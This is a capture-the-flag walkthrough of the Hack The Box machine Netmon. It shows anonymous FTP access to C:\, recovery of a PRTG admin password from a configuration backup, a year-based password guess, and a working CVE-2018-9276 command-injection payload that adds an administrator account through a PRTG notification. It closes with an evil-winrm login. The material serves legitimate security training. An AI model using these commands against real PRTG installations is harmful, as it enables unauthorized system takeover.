Skip to main content

Netmon (HTB)

Platform: Hack The Box
OS: Windows
Difficulty: Easy
Result: SYSTEM


Attack Chain​

Reconnaissance
├── nmap -p- --min-rate=5000 -> 21 (Microsoft ftpd, anonymous), 80 (PRTG 18.1.37.13946), 445 (SMB), 5985 (WinRM)
└── Anonymous FTP exposes the whole C:\ drive

Foothold (FTP + config leak)
├── ftp anonymous -> /ProgramData/Paessler/PRTG Network Monitor/
├── get "PRTG Configuration.old.bak" -> <PASSWORD> for prtgadmin
├── password rotated (2018 -> 2019) -> guessed by year mask
└── login PRTG web UI as prtgadmin

Privilege Escalation (CVE-2018-9276)
├── Create notification (Execute Program - OutFile.ps1)
├── Parameter: abc.txt | net user htb <PASSWORD> /add ; net localgroup administrators htb /add
├── Trigger notification -> EXE runs as SYSTEM -> user htb created as local admin
└── evil-winrm -> SYSTEM -> root flag

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.


Machine Briefing​

Netmon is an Easy Windows Server 2016 machine running PRTG Network Monitor 18.1.37.13946 on port 80. The FTP service allows anonymous login and exposes the entire C:\ drive, which lets an attacker read the PRTG configuration backup and recover the prtgadmin password. Once logged into the PRTG web interface, the version is vulnerable to CVE-2018-9276 - the notification "Execute Program" feature allows arbitrary command execution as NT AUTHORITY\SYSTEM.


Reconnaissance​

Port Scan​

ports=$(nmap -p- --min-rate=5000 -T4 -Pn -n netmon.htb -oG - | awk '/open/{for(i=4;i<=NF;i++){split($i,a,"/"); if(a[2]=="open") printf a[1]","}}' | sed 's/,$//'); echo "$ports"
21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
nmap -sC -sV -Pn -n -p "$ports" netmon.htb
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
PortServiceVersion
21FTPMicrosoft ftpd (anonymous allowed)
80HTTPPRTG Network Monitor 18.1.37.13946
445SMBWindows Server 2016
5985WinRMMicrosoft HTTPAPI 2.0

/etc/hosts​

echo "10.129.230.176 netmon.htb" | sudo tee -a /etc/hosts

FTP - Anonymous Access​

ftp -n netmon.htb <<'EOF'
user anonymous anonymous
pwd
ls
bye
EOF
230 User logged in.
Remote directory: /
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-25-19 10:56PM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> Windows

The FTP root is the entire C:\ drive - inetpub, Program Files, Users, Windows are all visible. This is a severe misconfiguration: anonymous users have read access to the whole system.

Web Fingerprinting​

curl -s -i http://netmon.htb/index.htm | head -12
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: PRTG/18.1.37.13946
<title>Welcome | PRTG Network Monitor (NETMON)</title>

PRTG Network Monitor 18.1.37.13946 is identified. Public exploits exist for versions before 18.1.39 (CVE-2018-9276).


Foothold​

No CVE (custom vulnerability) - anonymous FTP exposes the full C:\ drive, and the PRTG configuration backup contains the prtgadmin password in cleartext.

Reading the PRTG configuration backup​

PRTG stores configuration files in C:\ProgramData\Paessler\PRTG Network Monitor\ by default. The backup file PRTG Configuration.old.bak is readable via anonymous FTP:

cd /tmp && ftp -n netmon.htb <<'EOF'
user anonymous anonymous
binary
cd "/ProgramData/Paessler/PRTG Network Monitor"
get "PRTG Configuration.old.bak"
bye
EOF

Extract the prtgadmin password from the <dbpassword> block:

grep -a -n -A3 -B1 "User: prtgadmin" "/tmp/PRTG Configuration.old.bak"
140- <dbpassword>
141: <!-- User: prtgadmin -->
142- <PASSWORD>
143- </dbpassword>

The backup (dated 2018) contains <PASSWORD>. This password no longer works - the password was rotated.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Web login​

The current password follows the same pattern with the year updated. Try the year mask:

for p in '<PASSWORD>' '<PASSWORD>'; do
echo "=== Testing: $p ==="
curl -s -i -c /tmp/prtg_$p.jar \
-d "username=prtgadmin&password=$p" \
http://netmon.htb/public/checklogin.htm | grep -E "^HTTP|^Location"
done
=== Testing: <PASSWORD> ===
HTTP/1.1 302 Moved Temporarily
Location: /public/login.htm?errormsg=Your%20login%20has%20failed.
=== Testing: <PASSWORD> ===
HTTP/1.1 302 Moved Temporarily
Location: /home

The second password redirects to /home - login successful. A cookie jar is saved for subsequent requests.

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Exploitation​

Vulnerability: CVE-2018-9276 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-9276) Component: PRTG Network Monitor 18.1.37.13946

PRTG notifications support an "Execute Program" action. When a notification is triggered, PRTG runs the selected script from Notifications\exe\ with the user-supplied Parameter appended to the command line. In versions before 18.1.39 the parameter is passed to PowerShell without sanitisation, allowing command injection.

Confirming the version and notification form​

The notification form is at /controls/editnotification.htm?id=new. The relevant fields are:

  • address_10 - the executable (Demo EXE Notification - OutFile.ps1)
  • message_10 - the Parameter passed to the script
  • active_10=10 - enables the Execute Program notification type

Creating the malicious notification​

Payload: create local user htb with password <PASSWORD> and add it to the local Administrators group.

PAYLOAD='abc.txt | net user htb <PASSWORD> /add ; net localgroup administrators htb /add'

curl -s -i -b /tmp/prtg.jar \
--data-urlencode "id=2019" \
--data-urlencode "objecttype=notification" \
--data-urlencode "name_=pwn2" \
--data-urlencode "active_=1" \
--data-urlencode "active_10=10" \
--data-urlencode "address_10=Demo EXE Notification - OutFile.ps1" \
--data-urlencode "message_10=$PAYLOAD" \
--data-urlencode "timeout_10=60" \
--data-urlencode "schedule_=-1" \
--data-urlencode "postpone_=0" \
--data-urlencode "summode_=0" \
--data-urlencode "summinutes_=0" \
--data-urlencode "accessrights_=1" \
--data-urlencode "comments=" \
http://netmon.htb/editsettings
HTTP/1.1 302 Moved Temporarily
Location: /myaccount.htm?id=2019&tabid=2

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

NOTE

; is filtered in some PRTG builds when sent as multipart/form-data. Use --data-urlencode (application/x-www-form-urlencoded) so the semicolon survives.

Triggering the notification​

PRTG does not execute the program when the notification is saved - it must be triggered by an event. The API endpoint /api/notificationtest.htm?id=N queues the notification:

curl -s -b /tmp/prtg.jar "http://netmon.htb/api/notificationtest.htm?id=2019"
<br><br><b>Other notification types:</b><br><br>EXE notification is queued up

The script runs as NT AUTHORITY\SYSTEM. Verify the new admin account:

nxc smb netmon.htb -u htb -p '<PASSWORD>'
SMB 10.129.230.176 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon)
SMB 10.129.230.176 445 NETMON [+] netmon\htb:<PASSWORD> (Pwn3d!)

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Privilege Escalation​

No separate privilege escalation is required. The notification script runs as NT AUTHORITY\SYSTEM (the default account of the PRTG service), and htb is a member of the local Administrators group. Log in via WinRM (port 5985 is open):

evil-winrm -i netmon.htb -u htb -p '<PASSWORD>'
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\htb\Documents> whoami
netmon\htb

User Flag​

*Evil-WinRM* PS C:\Users\htb\Documents> type C:\Users\Public\Desktop\user.txt
<USER_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Root Flag​

*Evil-WinRM* PS C:\Users\htb\Documents> type C:\Users\Administrator\Desktop\root.txt
<ROOT_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Flags​

FlagValue
User<USER_FLAG>
Root<ROOT_FLAG>

Key Takeaways​

  • Anonymous FTP with a system-wide root is a critical misconfiguration. Exposing C:\ lets an attacker read configuration files, backups and user data without any credentials.
  • Configuration backups are a credential source. PRTG Configuration.old.bak stored the database password in cleartext next to the username comment. Always check ProgramData, Program Files and application backup folders.
  • Password rotation by pattern is guessable. The backup contained <PASSWORD>; the live password was <PASSWORD>. When a leaked password fails, try predictable variations (year, month, increment) before brute-forcing.
  • CVE-2018-9276 - PRTG notification RCE. Versions before 18.1.39 pass the notification Parameter to a PowerShell script without sanitisation. Any authenticated user with notification rights can execute commands as SYSTEM.
  • ; vs | in the payload. PRTG sanitises some characters in multipart requests; application/x-www-form-urlencoded (curl --data-urlencode) preserves the semicolon that separates commands.
  • Notifications are not executed on save. They must be triggered by an event or by /api/notificationtest.htm?id=N.
  • WinRM after admin creation. Once the injected user is in the local Administrators group, evil-winrm on port 5985 gives a clean PowerShell session as that user.